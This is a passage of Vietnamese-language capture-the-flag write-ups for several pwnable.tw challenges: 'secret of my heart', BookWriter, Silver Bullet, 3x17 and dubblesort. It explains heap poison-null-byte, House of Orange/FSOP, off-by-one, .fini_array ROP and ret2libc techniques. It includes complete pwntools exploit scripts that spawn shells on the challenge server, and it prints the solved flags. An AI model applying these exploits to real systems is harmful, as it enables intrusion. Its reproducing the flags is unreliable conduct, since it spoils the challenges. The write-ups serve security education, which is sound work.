add(0x40,b'aaaa',p64(fake_chunk)) #idx=9 #44c0
add(0xf0,b'bbbb',b'bbbb') #idx=10 #4510
add(0x100,b'cccc',b'a') #idx=11 #4610
add(0x80,b'cccc',b'cccc') #idx=12 #4720
add(0x80,b'cccc',b'cccc') #idx=13 #47b0
delete(9) #fastbin 0x50
delete(10) #ubin
delete(11) #consolidate to 0x210 (0xf0 + 0x10 + 0x100 + 0x10)
add(0x48,b'AAAA',b'\0'*0x48) #poison_null #idx=9 #44c0
#after poison, chunk 4510 will have fake size 0x200
#from now chunks which is behind 4510 will be stupid :)))
```
- khi poison xong, ta sẽ **add()** thêm vài chunk để consolidate chunk bị poisoned
```python
add(0x80,b'BBBB',b'11111111') #idx=10 #4510 #0x200-0x80-0x10=0x170
add(0xf8,b'BBBB',b'22222222') #idx=11 #45a0 #0x170-0xf8-0x8=0x70
```
- Khi ta **delete(10)** và **delete(12)**, malloc sẽ nhầm chunk 11 đã được freed (not in use) nên sẽ gộp chunk 10 11 12 thành một
```python
delete(10) #free10 ---> ubin 0x90 -> 0x70
delete(12) #free poison_fake_chunk #not display on heap #prev_size is 0x210
#consolidate to 0x210 + 0x90 = 0x2a0 -> 0x70delete(10)
delete(12)
```

> idx12 check prev_size là 0x210 , free sẽ lấy 4720 - 210 = 4510 (idx10)
> -->consolidate
- như vậy ta đã có thể ow chunk 11 bằng chunk 10
- ow size chunk 11 để khi free nó vào fastbin
```python
payload = flat(
b'a'*0x80, #4510
0,0x71, #4590 #4598 : fake size idx11
b'b'*0x60, #45a0 --> ow idx11
0) #4600
add(0xf8,b'DDDD',payload) #idx=10 #4510 poison_null again!!!
#fake bit in use, next malloc will use this addr in ubin
add(0x50,b'BBBB',b'22222222') #idx=12 #4610
delete(11) #free11 ---> fastbin 0x70
delete(10) #free10 #fd=4660
```
>ban đầu 0xf8 + 0x8 là 0x101 bây giờ là 0x71

>45a0 là idx11 (sau khi **delete(11)** )
- tiếp tục **delete(10)** để sửa fd idx11 cho lần malloc lại idx10 cùng size
- **add()** lúc này để truyền fake_chunk vào đúng vị trí idx11

- ow fd rồi malloc ra để lấy chunk 45a0 ra còn fake_chunk trong fastbin

```python
malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 35
payload = b'a'*0x80 #41b0
payload += p64(0) + p64(0x71)
payload += p64(fake_chunk) #4210
add(0xf8,b'DDDD',payload)
```
> vì sao lại malloc_hook - 35 ?
> để ta cần 1 cái fake size khác 0 (cụ thể là size 0x71)
> 
> do bật NOASLR nên size nó bị ngu (0x15)
> nhưng thực tế là size 0x7f (convert thành 0x71 trong fastbin)
> và malloc_hook nó nằm ở khoảng 3b10
> thì khi mình bắt đầu malloc từ đó padding cho tới malloc_hook rồi chèn one_gadget
- lần **add()** tiếp theo sẽ lấy fake chunk ra
- ow malloc_hook, vì khi có lỗi (Aborted), sẽ call malloc_hook

```python
payload = b'a'*0x80 #4510
payload += p64(0) + p64(0x71) #4590 #4598
payload += p64(fake_chunk) #45a0
add(0xf8,b'DDDD',payload) #idx=10 #4510
add(0x68,b'FFFF',b'a') #idx=11 #45a0
#just take normal chunk out of fastbin
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
#next malloc will call fake_addr
add(0x68,b'EEEE',b'A'*19+p64(libc.address + one_gadget[2]))
```
> trên local nếu còn bật NOASLR thì bị báo lỗi
> mục tiêu bỏ NOASLR mà k lỗi, nhưng vẫn cần thông báo Arboted để trigger malloc_hook
> siêng thì debug tắt NOASLR rồi ``ni`` từng cái =)))))

> lúc này siêng nên ``ni`` từng cái
> tại malloc_hook đã có one_gadget
- thế giả sử chạy script bên ngoài (có ALSR) thì không có xuất hiện lỗi Aborted, vậy thì ta sẽ khiến cho nó có bằng cách trigger lỗi DBF
```python
delete(2) #4160
delete(5) #4160 #trigger DBF #get_shell!!!
```
- tại idx 2:

- tại idx 5:

- cùng 1 con trỏ, **delete()** thì nó ra sao ?

> lúc này nó lại tiếp tục free cùng 1 con trỏ đã free ( **delete(2)** )
- local muốn có shell thì tắt tham số 'NOASLR' nha

### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./secret_of_my_heart_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('./ld-2.23.so', checksec=False)
def GDB(): #turn on NOALSR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
#b*__libc_start_main+238
#b*0x5555554011ac
#b*0x555555400e20
ni
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10302)
else:
p = process(exe.path)
GDB()
def add(size,name,secret):
sla(b'choice :',b'1')
sla(b':', str(size))
sa(b':', name)
sa(b':',secret)
def show(idx):
sla(b'choice :',b'2')
sla(b'Index :',str(idx))
def delete(idx):
sla(b'choice :',b'3')
sla(b'Index :',str(idx))
def hidden():
sla(b'choice :',b'4869')
add(0x60,b'A'*0x20,b'aaaa') #idx=0
show(0)
p.recvuntil(b'A'*0x20)
heap = u64(p.recv(6) + b'\0\0')
info('heap leak: ' + hex(heap))
delete(0) #free0
add(0x68,b'aaaa',b'aaaa') #idx=0 #a
add(0x100,b'bbbb',b'bbbb') #idx=1 #b
add(0x100,b'eeee',b'eeee') #idx=2 #c
add(0x100,b'cccc',b'cccc') #idx=3 #barier dissappear in chunks
add(0x100,b'dddd',b'dddd') #idx=4 #advoid consolidate with top_chunk #still disappear
delete(1) #free1 #free_b #ubin 0x110
delete(2) #free2 #free_c #ubin consolidate 0x220
delete(0) #free0 #free_a #fastbin
add(0x68,b'BBBB',b'/bin/sh\0'.ljust(0x68,b'b')) #idx=0 #poison_null!!!
#size 0x111 placed idx2 was 4190
#need malloc total 0x100
#devided into 0xb0 0x10 0x10 (include metadata 0x10 * 3)
add(0xb0,b'CCCC',b'CCCC') #idx=1 #4080
add(0x10,b'DDDD',b'DDDD') #idx=2 #4140
add(0x10,b'EEEE',b'EEEE') #idx=5 #4160
add(0x80,b'FFFF',b'FFFF') #idx=6 #just avoid consolidate
delete(1) #free1
delete(3) #free3 #free_barrier #ubin consolidate 0x330
# this free will consolidate old_idx_3 42a0 which have prev_size is 0x220
# from now display idx4 in heap_chunk
#next malloc will contain main_area in chunk
add(0xd0,b'GGGG',b'GGGG') #size doesn't matter #idx=1
show(5) #leeking
p.recvuntil(b'Secret : ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3c3b78
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
delete(2) #free2
malloc_hook = libc.sym['__malloc_hook']
fake_chunk = malloc_hook - 0x23
add(0x40,b'aaaa',p64(fake_chunk)) #idx=2 #4160
add(0xf0,b'bbbb',b'bbbb') #idx=3 #41b0
add(0xf0,b'cccc',b'cccc') #idx=7 #42b0
add(0x60,b'cccc',b'cccc') #idx=8 #43b0
add(0x40,b'aaaa',p64(fake_chunk)) #idx=9 #44c0
add(0xf0,b'bbbb',b'bbbb') #idx=10 #4510
add(0x100,b'cccc',b'a') #idx=11 #4610
add(0x80,b'cccc',b'cccc') #idx=12 #4720
add(0x80,b'cccc',b'cccc') #idx=13 #47b0
delete(9) #fastbin 0x50
delete(10) #ubin
delete(11) #consolidate to 0x210 (0xf0 + 0x10 + 0x100 + 0x10)
add(0x48,b'AAAA',b'\0'*0x48) #poison_null #idx=9 #44c0
#after poison, chunk 4510 will have fake size 0x200
#from now chunks which is behind 4510 will be stupid :)))
add(0x80,b'BBBB',b'11111111') #idx=10 #4510 #0x200-0x80-0x10=0x170
add(0xf8,b'BBBB',b'22222222') #idx=11 #45a0 #0x170-0xf8-0x8=0x70
delete(10) #free10 ---> ubin 0x90 -> 0x70
delete(12) #free poison_fake_chunk #not display on heap #prev_size is 0x210
#consolidate to 0x210 + 0x90 = 0x2a0 -> 0x70
payload = flat(
b'a'*0x80, #4510
0,0x71, #4590 #4598 : fake size idx11
b'b'*0x60, #45a0 --> ow idx11
0) #4600
add(0xf8,b'DDDD',payload) #idx=10 #4510 poison_null again!!!
#fake bit in use, next malloc will use this addr in ubin
add(0x50,b'BBBB',b'22222222') #idx=12 #4610
delete(11) #free11 ---> fastbin 0x70
delete(10) #free10 #fd=4660
payload = b'a'*0x80 #4510
payload += p64(0) + p64(0x71) #4590 #4598
payload += p64(fake_chunk) #45a0
add(0xf8,b'DDDD',payload) #idx=10 #4510
add(0x68,b'FFFF',b'a') #idx=11 #45a0
#just take normal chunk out of fastbin
one_gadget = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
#next malloc will call fake_addr
add(0x68,b'EEEE',b'A'*19+p64(libc.address + one_gadget[2]))
delete(2) #4160
delete(5) #4160 #trigger DBF #get_shell!!!
p.interactive()
#FLAG{It_just_4_s3cr3t_on_the_h34p}
```
>FLAG{It_just_4_s3cr3t_on_the_h34p}
---
## BookWriter [350 pts]
- description:
I fixed some bug of memo from bkp CTF 2017 and modified some control flow, but it's still pwnable.
Can you pwn it again?
``nc chall.pwnable.tw 10304``
[bookwriter](https://pwnable.tw/static/chall/bookwriter)
[libc.so](https://pwnable.tw/static/libc/libc_64.so.6)
- check file + checksec

- check ida (stripped nên renamed lại)

>**main()**

>**author()**
>nhập tên author vào địa chỉ bss : 0x602060 (max size 0x40)
>

> **add()**
> thêm 1 page mới (tối đa 8 pages)
> lưu pointer chunk tại 0x6020a0
> 
> size lưu tại 0x6020e0
> 

> **view()**
> show content của page đó

> **edit()**
> chỉnh sửa content của page đó

> **show()**
> hiển thị tên author cùng số pages được tạo
> và cho sự lựa chọn đổi tên author
### analyse
#### leak heap
- nhận thấy là nó lưu ptr chunk tại 0x6020a0,

- trong khi **author()** nó nhập data từ 0x602060
---> leak heap bằng cách ow full author từ 0x602060 đến 0x6020a0 (64 bytes = 0x40 hexa bytes)

> lần **show()** tiếp theo sẽ in ra author kèm địa chỉ heap
#### overflow size
- thêm một BUG nhỏ ở đây có thể overflow

> cập nhật size khi **edit()**
> ví dụ **add(0x18)** thì ở 0x6020e0 lưu 0x18
> nhưng sau khi **edit()** thì từ 0x18 lên 0x1b
> bởi nó **strlen()** từ nội dung chunk đến size của top_chunk mới dừng (dừng ở NULL bytes)
> ---> dẫn đến lần **edit()** tiếp theo nữa có thể ow size của top_chunk
> ===> House of Orange

### BUG : House of Orange
#### leak libc
- là 1 kỹ thuật có được 1 freed chunk block (nằm trong ubin) mà không cần hàm **free()**
- khi đã sửa được size của top_chunk, lần request malloc tiếp theo sẽ đẩy old_top_chunk vào ubin
- và malloc thì sẽ ghi lại chỗ fd và bk của old_top_chunk
- ta cần ghi full 8 bytes đầu cho fd thì khi leak sẽ leak luôn bk đằng sau
- **view(1)** sẽ có được thông tin **main_area**

### FSOP
- ở đây ta cần setup vtable để trigger **malloc_printer** có shell
- theo như cách khai thác trên [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) thì ta lưu ý những điểm sau
```c
top[3] = io_list_all - 0x10;
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
FILE *fp = (FILE *) top;
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
fp->_mode = 0; // top+0xc0
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
```
- việc ta cần là setup như trên, nhưng thấy là khi setup đến ``//top+0xd8`` thì quá lớn, nên dự định là sẽ **add()** 1 lượng chunk nhất định
- sau đó **edit(0)** để sửa những chỗ mong muốn
> tầm 7 chunks
> ghi fake_size ngay 0x6020e0

> **edit()** tiếp theo có thể overflow rất nhiều, thong thả luôn
### setup FSOP
- ta tính offset từ chunk idx0 đến new_top_chunk

> padding 0x170
#### memcpy( ( char *) top, "/bin/sh\x00", 8);
- tại đây sẽ là chuỗi '/bin/sh\0'
> 180 : '/bin/sh\0'
#### top[1] = 0x61;
- tại đây sẽ là size 0x61
- còn vì sao lại size 0x61 thì coi lại chú thích source trong [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c#L191)
> 188 : 0x61
#### top[3] = io_list_all - 0x10;
- tại đây gắn **p64(io_list_all)**
> 198 : p64(io_list_all)
> còn top[2] (190) gắn cái gì cũng được (cho là 0xdeadbeef đi cho dễ nhận biết)
#### fp->_IO_write_base = (char *) 2; // top+0x20
- nó là top[4] ấy
> 1a0 : p64(2)
#### fp->_IO_write_ptr = (char *) 3; // top+0x28
- đây là top[5]
>1a8 : p64(3)
#### fp->_mode = 0; // top+0xc0
- đơn giản là ``.ljust(0xc0,b'\0')`` thôi

> ở 240
#### size_t *jump_table = &top[12]; // controlled memory
- setup **vtable_addr** là địa chỉ heap top[12]
- thực ra không nhất thiết là top[12], vì chỉ cần chỗ đó là controlled memory là được
> new_top_chunk là heap_base + 0x180
- do nếu tính thử thì top[12] tới mỗi 1e0 thôi
(do lười setup đoạn ``.ljust(0xd8,b'\0')``)
- nên là dời xuống 1 tẹo cho hết offset là 0xd8
- bắt đầu ghi từ 260

```
chỉ cần ở đúng vị trí top+0xd8 là 1 heap_addr
và heap_addr đó tiếp tục trỏ ở 1 vị trí heap_addr khác
và heap_addr khác là chuỗi p64(0)*3 + p64(system) là được
```
#### jump_table[3] = (size_t) &winner;
- ``p64(0)*3 + p64(system)``
#### *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

>top+0xd8 là heap_addr 260 trỏ tiếp vị trí bên dưới rồi **jump_table[3]** là system
### get flag

- script: (hên xui trúng shell, chạy 2 3 lần là được)
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./bookwriter_patched', checksec=False)
libc = ELF('./libc_64.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x400881
b*0x4009f3
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10304)
else:
p = process(exe.path)
GDB()
def author(name):
sla(b'Author :',name)
def add(size,data):
sla(b'choice :',b'1')
sla(b'page :',str(size))
sa(b'Content :',data)
def view(idx):
sla(b'choice :',b'2')
sla(b'page :',str(idx))
def edit(idx,data):
sla(b'choice :',b'3')
sla(b'page :',str(idx))
sa(b'Content:',data)
def show():
sla(b'choice :',b'4')
author(b'a'*60 + b'hlan') #ow full author
add(0x18,b'aaaa') #idx=0
edit(0,b'b'*0x18) #edit to trigger overflow from strlen
edit(0,b'\0'*0x18 + b'\xe1\x0f\x00') #ow size top_chunk
show()
p.recvuntil(b'hlan')
heap_leak = u64(p.recvline()[:-1].ljust(8,b'\0'))
heap_base = heap_leak - 0x10
info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))
sla('no:0) ','0') # not change author
add(0x78,b'a'*8) #idx=1
view(1)
p.recvuntil('a'*8)
libc_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\0'))
libc.address = libc_leak - 0x3c4188
system = libc.symbols['system']
io_list_all = libc.symbols['_IO_list_all']
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
info("IO_list_all: " + hex(io_list_all))
for i in range(7):
add(0x18,b'bbbb')
padding = b'\0' * 0x170
payload = b'/bin/sh\0' + p64(0x61) #180 #188
payload += p64(0xdeadbeef) + p64(io_list_all - 0x10) #190 #198
payload += p64(2) + p64(3) #d1a0 #d1a8
payload = payload.ljust(0xc0,b'\x00') + p64(0) #238 #240
payload = payload.ljust(0xd8,b'\x00') #padding
vtable = p64(0)*3 + p64(system)
vtable_addr = heap_base + 0x180 + 0xe0 #260
payload += p64(vtable_addr) + vtable #258 #260
edit(0,padding + payload)
sla(b'Your choice :',b'1')
sla(b'Size of page :',b'20') #trigger malloc_printer
p.interactive()
#FLAG{Th3r3_4r3_S0m3_m4gic_in_t0p}
```
>FLAG{Th3r3_4r3_S0m3_m4gic_in_t0p}
---
## Silver Bullet [200 pts]
- description:
Please kill the werewolf with silver bullet!
``nc chall.pwnable.tw 10103``
[silver_bullet](https://pwnable.tw/static/chall/silver_bullet)
[libc.so](https://pwnable.tw/static/libc/libc_32.so.6)
- basic file check:

- check ida

>**main()**
>sói và đạn có dạng struct
> - sói gồm : int power và char *name
> - đạn gồm : char name[0x30] và int power

>**menu()**

>**create_bullet()**
> tạo 1 viên đạn name dài tối đa 0x30
> set power của đạn là len(name) sau cái name (power = name+48)

>**power_up()**
>tăng sức mạnh vien đạn bằng cách nối dài chuỗi
> NHƯNG không thể kéo dài name vượt quá 0x2f

>**beat()**
>bắn đùng đùng đùng píu píu píu
>thắng sẽ ``return 1``, còn lại thua hay không có đạn sẽ ``return 0``
### BUG
- bug chính trong bài này có lẽ nằm ở hàm **strncat()**
> thêm NULL byte vào cuối chuỗi
> 
> ---> off_by_one
### exploit
:::info
📝 power của bullet ở địa chỉ $ebp-0x4
:::
- nhìn kỹ vào hàm **power_up()**, nó sẽ check 1 đoạn nếu power lớn hơn 0x2f thì không thể tăng sức mạnh được (bằng 0x2f thì vãn có thể tăng tiếp)
- nhưng giả sử ta tạo viên đạn 0x2f thì khi **power_up()** lên cũng chỉ ghi thêm số byte còn lại cho đủ 0x30 à (max ghi được là 0x30 - power)
- thì làm sao hạ được con boss werewolf đây ? (power 0x7fffffff)
- dựa vào bug off_by_one tạo bởi hàm **strncat()**, ta sẽ setup power về 1 bằng cách tạo đạn 0x2f, úp sức mạnh 0x1 và dựa vào bug thì có 0x30 cho name + 0x1 byte NULL ---> set power về 1 ===> có thể tiếp tục **power_up()** lần sau
- mẫu cho tạo đạn 0x2f (b'a'*0x2f), up 0x1(b'b'):

> set power về thành 1

> lúc này nó lại ghi tiếp từ power đạn trở đi
- ở lần sau, ta hoàn toàn có thể ow ebp cho lần ghi đè power

### leak libc
- ta sẽ tận dụng libc đề bài cho để leak GOT của hàm **puts()**
- thì lần **power_up()** tiếp theo sẽ là được ghi max 0x2f (do power lần này chỉ có 1)

- đồng thời offset sẽ tính từ byte tiếp theo của power bullet (3 bytes cho power + 4 bytes padding ebp)
- ta sẽ fake power lớn nhất có thể : ``0xffffff..`` (với 2 chấm '. .' là len(name) ta sửa)
- và khi return điều ta cần là in dữ liệu ra, ta sẽ chọn ``puts@plt``
- sau đó lặp lại chương trình bằng ``exe.sym['main']``
- nhưng khi in dữ liệu bằng plt ta cần 1 địa chỉ libc bằng trong đó để in ra

> lúc này sẽ lấy $ebp+0x8 làm con trỏ để in ra
- nên sau cái lặp lại ``exe.sym['main']`` đó sẽ là ``puts@got``
> $eip là puts@plt (khi return)
> $ebp+0x4 là exe.sym['main']
> $ebp+0x8 ta lấy puts@got là hợp lí nhất
### system + b'/bin/sh\0'
- code chỗ này ta sẽ lặp lại như cách leak libc
- nhưng ở phần ow buffer, check ở hàm **system**

> nó lấy $esp+0x10 làm con trỏ (trước đó nó ``sub esp, 0xc``)
> $eip là system
> $esp+0x4 là padding
> $esp+0x8 là '/bin/sh\0'
> 
### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./silver_bullet_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*read_input+14
b*create_bullet+88
b*power_up+176
b*power_up+223
b*beat+199
b*main+196
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10103)
else:
p = process(exe.path)
GDB()
def add(data):
sla(b'choice :',b'1')
sa(b'bullet :',data)
def up(data):
sla(b'choice :',b'2')
sa(b'bullet :',data)
def fight():
sla(b'choice :',b'3')
pop_ebx = 0x08048475
add(b'a'*0x2f)
up(b'b')
payload = b'\xff\xff\xff' + b'cccc'
payload += p32(exe.plt['puts'])
payload += p32(exe.sym['main'])
payload += p32(exe.got['puts'])
up(payload)
fight()
p.recvuntil(b'win !!\n')
libc_leak = u32(p.recv(4))
libc.address = libc_leak - libc.sym['puts']
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
add(b'a'*0x2f)
up(b'b')
payload = b'\xff\xff\xff' + b'cccc'
payload += p32(libc.sym['system'])
payload += p32(0xdeadbeef)
payload += p32(next(libc.search(b'/bin/sh\0')))
up(payload)
fight()
p.interactive()
#FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}
```
>FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rld}
---
## 3x17 [150 pts]
- description:
3 x 17 = ?
``nc chall.pwnable.tw 10105``
[3x17](https://pwnable.tw/static/chall/3x17)
- basic file check:

- check ida (file stripped nên tìm hàm **main** hơi lỏ)

>**main()**
>nhập lần đầu là addr
>nhập lần hai là content
>có thể đây là chức năng ghi đè 1 địa chỉ thành 1 dữ liệu ta muốn
### analyse

- chạy thử file thì đúng như những gì hàm **main()** thực hiện
- nhưng chạy xong là end chương trình luôn
- nên BUG có thể nằm ở hàm huỷ ---> tận dụng khả năng ghi đè để ow ``.fini_array`` thành hàm **main()** 1 lần nữa
===> lặp vô hạn
- ngoài ra với khả năng trên, chả phải ta có thể ghi thoải mái dữ liệu vào rồi ---> BOF thong thả
- nhưng lặp quài phải có điểm dừng ---> lấy shell bằng execve
- hướng đi sẽ là ROPchain
### setup loop main
- vì file bị stripped nên không thể sử dụng ``exe.sym['main']`` như bình thường
- ta phải tự tìm địa chỉ thông qua ida

>main = 0x401b6d
- nhưng ida lỏ vcl không show tên hết được nên chuyển qua ghidra

>fini_array = 0x4b40f0
- coi qua hàm **entry()** trong ghidra

- nhận xét:

>tham số đầu là hàm 0x401b6d ---> hàm **main()** đây
>tham số kế cuối 0x4028d0:
>
>là gọi hàm .init_array khi bắt đầu 1 chương trình
>tham số cuối 0x402960:
>
>thấy là sẽ gọi hàm 0x4b40f0 là .fini_array đấy
>đặt tên cho 0x402960 là fini_array_call
- vậy bây giờ ta sẽ ghi như thế này:
``addr = p64(fini_array)``
``data = p64(fini_array_call) + p64(main)``
- như thế khi kết thúc chương trình sẽ nhảy vào fini_array và gọi hàm **main()** lại rồi cuối cùng quay lại fini_array_call một lần nữa fini_array
:::spoiler why and how?
- sao không đặt main lên đầu?
- bởi nếu đặt main lên đầu thì loop lại main nhưng không thể dừng program lại
- ta phải đặt fini_array_call lên trước để set main trong fini_array
---
- ngoài ra ở addr ta phải truyền dưới dạng str()

- truyền bytes thì không thể lặp lại được 😑

:::
---> trigger thành công loop lại hàm **main()**
### setup ROPchain
- thứ ta cần là khi lặp lại, cần có 1 địa chỉ return vào ROPchain
- thì logical thinking là tận dụng chính địa chỉ fini_array luôn
- chỉnh lại:
``addr = p64(fini_array + offset)``
``data = p64(ROPchain)``
- offset đó ta phải tính toán, và cuối cùng muốn syscall execve, ta phải return vào chuỗi ROP của mình bằng gadget ``leave;ret``
### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./3x17',checksec=False)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10105)
else:
p = process(exe.path)
pop_rax = 0x000000000041e4af
pop_rdi = 0x0000000000401696
pop_rsi = 0x0000000000406c30
pop_rdx = 0x0000000000446e35
syscall = 0x00000000004022b4
leave_ret = 0x0000000000401c4b
main = 0x401b6d
fini_array = 0x4b40f0
fini_array_call = 0x402960
offset = fini_array
binsh = offset + 11*8
def change(addr,data):
p.sendafter(b'addr:',str(addr))
p.sendafter(b'data:',data)
change(fini_array,p64(fini_array_call)+p64(main))
change(offset + 2*8, p64(pop_rdi) + p64(binsh))
change(offset + 4*8, p64(pop_rdx) + p64(0))
change(offset + 6*8, p64(pop_rsi) + p64(0))
change(offset + 8*8, p64(pop_rax) + p64(0x3b))
change(offset + 10*8, p64(syscall) + b'/bin/sh\0')
change(offset, p64(leave_ret))
p.interactive()
#FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}
```
>FLAG{Its_just_a_b4by_c4ll_0riented_Pr0gramm1ng_in_3xit}
---
## dubblesort [200 pts]
- description:
Sort the memory!
``nc chall.pwnable.tw 10101``
[dubblesort](https://pwnable.tw/static/chall/dubblesort)
[libc.so](https://pwnable.tw/static/libc/libc_32.so.6)
- basic file check

- check ida (stripped nên sẽ renamed lại)

> **main()**

>**sort()**
### analyse
- chương trình sẽ cho ta nhập tên (size 0x40) vào, sau đó in ra và hỏi số 'số muốn sắp xếp'
- nhưng ở đây lại có BUG

> nhập mỗi 'a', tại sao lại in thêm những kí tự lạ đằng sau???
### leak libc
- tới đây nghi ngờ do hàm **__printf_chk** tương tự như **printf** (in đến khi gặp NULL bytes)
- check trong gdb

> dữ liệu bắt đầu từ $esi cf8c
> cần đến cfa8
> vì tại đó là địa chỉ của libc (0xf7c... --> 0xf7e...)
> tránh lấy địa chỉ trên vì bytes tiếp theo là NULL (dù nó cũng trong địa chỉ của libc)
>
> offset leak = 0x1c
> offset base = 0x1ae244

- có được địa chỉ libc rồi tiếp theo ta phân tích đến BUG kế
- NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG NHƯNG 🥲
- trên server lại không leak được

- thử tăng 1 byte lại leak được, nhưng như thế sẽ ghi đè 1 byte leak
- việc ta cần sẽ trừ byte ow đó, ngoài ra còn cần trừ thêm offset nào đó nữa

- nhìn thấy là ghi đè byte 'a' (0x61) mà 3 byte cuối lại là 061
- nảy sinh nghi ngờ nó sẽ leak địa chỉ chẵn nào đó của libc trong ``vmmap``
- thì 1 hôm đẹp trời nhớ từng đọc 1 bài nào đó
- nó như thế này
- nếu leak ra ở libc ngay cuối của ``vmmap`` (như ở hình trên cd00) thì chỉ cần ta tính offset từ đó đến libc_base

- hoặc dùng lệnh ``readelf -S``

> mà nếu không biết thì cứ thử trừ từng offset của địa chỉ chẵn trong đó là được =)))))))))))
### canary?

- ở đây **num_array** được khai báo là mảng 8, nhưng **num** nhập vào lại không có check phải bé hơn 8 ---> buffer overflow
- vì có canary nên tính offset đến đó

```
num_array là esp+0x1c
canary là esp+0x7c
offset = 0x60 / 4 = 24 (do là file 32 bits nên chia 4)
25 chính là ow canary
```
- check:

> từ 0 đến 23 là bình thường
> nhưng đến số 24 sẽ ow canary là số 2 ===> báo 'stack smashing detected' là chuẩn bài
- nhưng ow canary là 1 byte không phải số thì bypass được
- ở đây thử b'a' thì không được, có lẽ hình như quy tắc ở đây là những số sau canary phải lớn hơn chính nó (do hàm **sort()**)
- với byte '-' và '+' thì bypass được lượng số lớn như **system** và **binsh**
### ret2libc
- đơn giản vì NX bật, không có hàm **win** mà lại có BOF ===> ret2libc thôi

```
sau khi qua ải canary là tới lea esp,[ebp-0xc] rồi 1 đống pop rồi mới return
tính nè:
25 là canary
lea esp,[ebp-0xc] : 0xc / 4 = 3
26 -.
27 > bypass
28 -'
29 sau khi lea esp,[ebp-0xc] đây là esp
29 pop ebx
30 pop esi
31 pop edi
32 pop ebp
33 ret -> system
34 binsh
35 binsh
```
- vậy ta cần padding **system** vừa đủ rồi sau đó mới **binsh**
(vì do hàm **sort()** và **binsh** > **system**)
- đếm được từ 26 đến 33 là ``ret -> system`` được 8 lần **system** (hết 7 lần padding)
- khi tới **system** ta phải thêm 2 lần **binsh** vì trong đó còn mov các thể loại

> sub esp,0xc
> mov eax,[esp+0x10]
> tức là sau khi vào hàm **system**, esp hiện tại là **binsh**, lùi 12 tăng 16 rồi đưa địa chỉ ngay đó vào ``$eax``
> ta phải thêm 1 lần **binsh** ($esp+0x4)
### get flag

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./dubblesort_patched', checksec=False)
libc = ELF('./libc_32.so.6',checksec=False)
ld = ELF('./ld-2.23.so',checksec=False)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+85
b*main+111
b*main+333
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw', 10101)
else:
p = process(exe.path)
GDB()
if args.REMOTE:
sa(b'name :',b'a'*0x1d)
p.recvuntil(b'a'*0x1d)
libc_leak = u32(b'a' + p.recv(3))
libc.address = libc_leak - 0x61 - 0x1b0000
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
else:
sa(b'name :',b'a'*0x1c)
p.recvuntil(b'a'*0x1c)
libc_leak = u32(p.recv(4))
libc.address = libc_leak - 0x1ae244
info('libc leak: ' + hex(libc_leak))
info('libc base: ' + hex(libc.address))
system = libc.sym['system']
binsh = next(libc.search(b'/bin/sh\0'))
info("system: " + hex(system))
info("binsh: " + hex(binsh))
sla(b'sort :',b'35')
for i in range(24):
sla(b'number : ',b'1')
sla(b'number : ',b'+')
for i in range(8):
sla(b'number : ',str(system))
sla(b'number : ',str(binsh))
sla(b'number : ',str(binsh))
p.interactive()
#FLAG{Dubo_duBo_dub0_s0rttttttt}
```
>FLAG{Dubo_duBo_dub0_s0rttttttt}
---
## applestore [200 pts]
- description:
tomcr00se rooted the galaxy S5, but we need you to jailbreak the iPhone8!
``nc chall.pwnable.tw 10104``
